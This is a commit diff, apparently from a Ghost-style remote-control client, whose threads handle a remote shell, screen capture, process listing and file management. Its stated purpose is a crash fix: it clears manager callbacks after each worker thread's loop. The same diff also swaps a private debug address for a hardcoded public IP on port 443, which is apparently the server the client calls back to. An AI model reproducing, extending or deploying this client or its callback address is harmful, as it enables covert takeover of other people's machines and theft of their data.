Fix: Prevent reconnect crash by clearing callback before destruction
This commit is contained in:
@@ -37,7 +37,7 @@
|
|||||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
|
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
|
||||||
|
|
||||||
// 全局状态
|
// 全局状态
|
||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
@@ -354,6 +354,8 @@ void* ShellworkingThread(void* param)
|
|||||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
|
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
@@ -376,6 +378,8 @@ void* ScreenworkingThread(void* param)
|
|||||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
@@ -396,6 +400,8 @@ void* SystemManagerThread(void* param)
|
|||||||
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
|
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
@@ -416,6 +422,8 @@ void* FileManagerThread(void* param)
|
|||||||
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
|
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
|
|||||||
@@ -633,6 +633,8 @@ void* ShellworkingThread(void* param)
|
|||||||
NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
|
NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
|
NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
@@ -659,6 +661,8 @@ void* ScreenworkingThread(void* param)
|
|||||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
@@ -679,6 +683,8 @@ void* FileManagerworkingThread(void* param)
|
|||||||
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr);
|
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
|
// 清除回调,防止重连线程访问已销毁的 handler
|
||||||
|
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
}
|
}
|
||||||
Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr);
|
Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr);
|
||||||
} catch (const std::exception& e) {
|
} catch (const std::exception& e) {
|
||||||
|
|||||||
Reference in New Issue
Block a user